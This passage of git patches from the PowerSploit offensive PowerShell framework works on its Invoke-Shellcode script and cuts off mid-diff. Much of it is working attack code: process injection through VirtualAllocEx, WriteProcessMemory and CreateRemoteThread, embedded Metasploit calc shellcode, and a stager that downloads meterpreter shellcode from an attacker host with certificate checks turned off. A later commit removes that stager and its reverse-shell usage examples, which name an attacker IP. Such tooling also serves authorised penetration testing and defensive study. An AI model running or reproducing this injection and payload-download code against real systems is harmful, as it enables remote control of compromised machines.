[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + if (!$PowerShell32bit) { + # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell + # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function + + # Pull out just the content of the this script's invocation. + $RootInvocation = $MyInvocation.Line + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", + "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } + + if ( !$Response ) + { + # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function + Return + } + + # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. + if ($MyInvocation.BoundParameters['Force']) + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" + } + else + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" + } + + $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) + $EncodedCommand = [Convert]::ToBase64String($CommandBytes) + + $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" + Invoke-Expression -Command $Execute | Out-Null + + # Exit the script since the shellcode will be running from x86 PowerShell + Return + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} + } + } + + if ($Legacy) + { + # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + } else { + + # Generate a URI that passes the test + $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} + $SumTest = $False + + while ($SumTest -eq $False) + { + $GeneratedUri = $CharArray | Get-Random -Count 4 + $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + $RequestUri = -join $GeneratedUri + + $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" + } + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + if ($Proxy) + { + $WebProxyObject = New-Object System.Net.WebProxy + $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer + + # if there is no proxy set, then continue without it + if ($ProxyAddress) + { + + $WebProxyObject.Address = $ProxyAddress + $WebProxyObject.UseDefaultCredentials = $True + $WebClientObject.Proxy = $WebProxyObject + } + } + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + else + { + # Pop a calc... or whatever shellcode you decide to place in here + # I sincerely hope you trust that this shellcode actually pops a calc... + # Insert your shellcode here in the for 0xXX,0xXX,... + # 32-bit payload + # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit payload + # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } + } } From 5065810c071a7cdbe5bd28384d35f0b8a90cabeb Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 5 Nov 2015 10:31:40 -0500 Subject: [PATCH 029/296] Removing Metasploit integration from Invoke-Shellcode This should have only ever been a shellcode runner. Those wishing to integrate this with Metasploit should generate a shellcode payload with msfvenom. --- CodeExecution/Invoke-Shellcode.ps1 | 271 +---------------------------- 1 file changed, 4 insertions(+), 267 deletions(-) diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 87e2e84f..5ec681ad 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -29,34 +29,6 @@ Process ID of the process you want to inject shellcode into. Specifies an optional shellcode passed in as a byte array -.PARAMETER ListMetasploitPayloads - -Lists all of the available Metasploit payloads that Invoke-Shellcode supports - -.PARAMETER Lhost - -Specifies the IP address of the attack machine waiting to receive the reverse shell - -.PARAMETER Lport - -Specifies the port of the attack machine waiting to receive the reverse shell - -.PARAMETER Payload - -Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - -.PARAMETER UserAgent - -Optionally specifies the user agent to use when using meterpreter http or https payloads - -.PARAMETER Proxy - -Optionally specifies whether to utilize the proxy settings on the machine. - -.PARAMETER Legacy - -Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. - .PARAMETER Force Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. @@ -79,76 +51,12 @@ Inject shellcode into the running instance of PowerShell. .EXAMPLE -C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -C:\PS> $Proc = Get-Process notepad -C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose - -VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM -VERBOSE: Injecting shellcode into PID: 4004 -VERBOSE: Injecting into a Wow64 process. -VERBOSE: Using 32-bit shellcode. -VERBOSE: Shellcode memory reserved at 0x03BE0000 -VERBOSE: Emitting 32-bit assembly call stub. -VERBOSE: Thread call stub memory reserved at 0x001B0000 -VERBOSE: Shellcode injection complete! - -Description ------------ -Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_https): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 443 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 - -Description ------------ -Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_http): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 80 yes The local listener port - -.EXAMPLE - C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) Description ----------- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ListMetasploitPayloads - -Payloads --------- -windows/meterpreter/reverse_http -windows/meterpreter/reverse_https - -.NOTES - -Use the '-Verbose' option to print detailed information. - -Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter - -Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ - -.LINK - -http://www.exploit-monday.com #> [CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( @@ -161,63 +69,11 @@ http://www.exploit-monday.com [Byte[]] $Shellcode, - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateSet( 'windows/meterpreter/reverse_http', - 'windows/meterpreter/reverse_https', - IgnoreCase = $True )] - [String] - $Payload = 'windows/meterpreter/reverse_http', - - [Parameter( ParameterSetName = 'ListPayloads' )] - [Switch] - $ListMetasploitPayloads, - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateNotNullOrEmpty()] - [String] - $Lhost = '127.0.0.1', - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateRange( 1,65535 )] - [Int] - $Lport = 8443, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [String] - $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [Switch] - $Legacy = $False, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [Switch] - $Proxy = $False, - [Switch] $Force = $False ) Set-StrictMode -Version 2.0 - - # List all available Metasploit payloads and exit the function - if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') - { - $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | - Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} - - foreach ($Payload in $AvailablePayloads.ValidValues) - { - New-Object PSObject -Property @{ Payloads = $Payload } - } - - Return - } if ( $PSBoundParameters['ProcessID'] ) { @@ -339,12 +195,12 @@ http://www.exploit-monday.com if ($64bitCPU) # Only perform theses checks if CPU is 64-bit { - # Determine is the process specified is 32 or 64 bit + # Determine if the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null if ((!$IsWow64) -and $PowerShell32bit) { - Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.' } elseif ($IsWow64) # 32-bit Wow64 process { @@ -519,6 +375,7 @@ http://www.exploit-monday.com # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) { $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) @@ -540,127 +397,7 @@ http://www.exploit-monday.com $PowerShell32bit = $false } - if ($PsCmdlet.ParameterSetName -eq 'Metasploit') - { - if (!$PowerShell32bit) { - # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell - # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function - - # Pull out just the content of the this script's invocation. - $RootInvocation = $MyInvocation.Line - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", - "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } - - if ( !$Response ) - { - # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function - Return - } - - # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. - if ($MyInvocation.BoundParameters['Force']) - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" - } - else - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" - } - - $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) - $EncodedCommand = [Convert]::ToBase64String($CommandBytes) - - $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" - Invoke-Expression -Command $Execute | Out-Null - - # Exit the script since the shellcode will be running from x86 PowerShell - Return - } - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", - "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } - - if ( !$Response ) - { - # User opted not to carry out download of Metasploit payload. Exit function - Return - } - - switch ($Payload) - { - 'windows/meterpreter/reverse_http' - { - $SSL = '' - } - - 'windows/meterpreter/reverse_https' - { - $SSL = 's' - # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} - } - } - - if ($Legacy) - { - # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" - } else { - - # Generate a URI that passes the test - $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} - $SumTest = $False - - while ($SumTest -eq $False) - { - $GeneratedUri = $CharArray | Get-Random -Count 4 - $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) - } - - $RequestUri = -join $GeneratedUri - - $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" - } - - $Uri = New-Object Uri($Request) - $WebClient = New-Object System.Net.WebClient - $WebClient.Headers.Add('user-agent', "$UserAgent") - - if ($Proxy) - { - $WebProxyObject = New-Object System.Net.WebProxy - $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer - - # if there is no proxy set, then continue without it - if ($ProxyAddress) - { - - $WebProxyObject.Address = $ProxyAddress - $WebProxyObject.UseDefaultCredentials = $True - $WebClientObject.Proxy = $WebProxyObject - } - } - - try - { - [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) - } - catch - { - Throw "$($Error[0].Exception.InnerException.InnerException.Message)" - } - [Byte[]] $Shellcode64 = $Shellcode32 - - } - elseif ($PSBoundParameters['Shellcode']) + if ($PSBoundParameters['Shellcode']) { # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. From 81b57738ab7d0d816622da7d5d220f3db379b26b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 5 Nov 2015 10:33:53 -0500 Subject: [PATCH 030/296] Adding Visual Studio 2015 project file Those who wish to load this project into VS 2015 with Adam Driscoll's PowerShell VS extension may now do so. --- PowerSploit.pssproj | 203 ++++++++++++++++++++++++++++++++++++++++++++ PowerSploit.sln | 22 +++++ 2 files changed, 225 insertions(+) create mode 100644 PowerSploit.pssproj create mode 100644 PowerSploit.sln diff --git a/PowerSploit.pssproj b/PowerSploit.pssproj new file mode 100644 index 00000000..bd96099d --- /dev/null +++ b/PowerSploit.pssproj @@ -0,0 +1,203 @@ + + + + Release + 2.0 + 6CAFC0C6-A428-4d30-A9F9-700E829FEA51 + Exe + PowerSploit + PowerSploit + PowerSploit + + + + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PowerSploit.sln b/PowerSploit.sln new file mode 100644 index 00000000..95ba4651 --- /dev/null +++ b/PowerSploit.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.23107.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "PowerSploit", "PowerSploit.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Release|Any CPU + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Release|Any CPU + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal From d1145e05402d1130a2a3f9444a6da84ef80e3f79 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 5 Nov 2015 10:34:26 -0500 Subject: [PATCH 031/296] Re-import Invoke-Shellcode.ps1 --- CodeExecution/CodeExecution.psm1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index 934fa382..81d38186 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | ? {$_.Name -ne 'Invoke-Shellcode.ps1'} | % { . $_.FullName} +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} From 641eff706e9f34914235441a70333b1daab73ae9 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 5 Nov 2015 10:36:17 -0500 Subject: [PATCH 032/296] Test: Ensure all scripts are not LE Unicode encoded --- Tests/PowerSploit.tests.ps1 | 49 +++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 Tests/PowerSploit.tests.ps1 diff --git a/Tests/PowerSploit.tests.ps1 b/Tests/PowerSploit.tests.ps1 new file mode 100644 index 00000000..527face6 --- /dev/null +++ b/Tests/PowerSploit.tests.ps1 @@ -0,0 +1,49 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." + +filter Assert-NotLittleEndianUnicode { + [CmdletBinding()] + param ( + [Parameter(Mandatory = $True, + ValueFromPipelineByPropertyName = $True, + ValueFromPipeline = $True)] + [Alias('FullName')] + [String[]] + $FilePath + ) + + $LittleEndianMarker = 48111 # 0xBBEF + + Write-Verbose "Current file: $FilePath" + Write-Debug "Current file: $FilePath" + + if ([System.IO.Directory]::Exists($FilePath)) { + Write-Debug "File is a directory." + return + } + + if (-not [System.IO.File]::Exists($FilePath)) { + Write-Debug "File does not exist." + return + } + + $FileBytes = Get-Content -TotalCount 3 -Encoding Byte -Path $FilePath + + if ($FileBytes.Length -le 2) { + Write-Debug "File must be at least 2 bytes in length." + return + } + + if ([BitConverter]::ToUInt16($FileBytes, 0) -eq $LittleEndianMarker) { + Write-Debug "File contains little endian unicode marker." + throw "$_ is little-endian unicode encoded." + } +} + +Describe 'ASCII encoding of all scripts' { + It 'should not contain little-endian unicode encoded scripts or modules' { + { Get-ChildItem -Path $ModuleRoot -Recurse -Include *.ps1,*.psd1,*.psm1 | Assert-NotLittleEndianUnicode } | Should Not Throw + } +} \ No newline at end of file From 18b7a10f89eb5f1038c443b5b39d3a8e327fb090 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 5 Nov 2015 13:26:05 -0500 Subject: [PATCH 033/296] Removing Invoke-ShellcodeMSIL This was only ever intended to be a PoC. I'll bring this back if requested but it exhibits duplicate functionality. --- CodeExecution/CodeExecution.psd1 | 2 +- CodeExecution/Invoke-ShellcodeMSIL.ps1 | 267 ------------------------- README.md | 4 - 3 files changed, 1 insertion(+), 272 deletions(-) delete mode 100644 CodeExecution/Invoke-ShellcodeMSIL.ps1 diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 0d0799bc..96e9abc6 100644 --- a/CodeExecution/CodeExecution.psd1 +++ 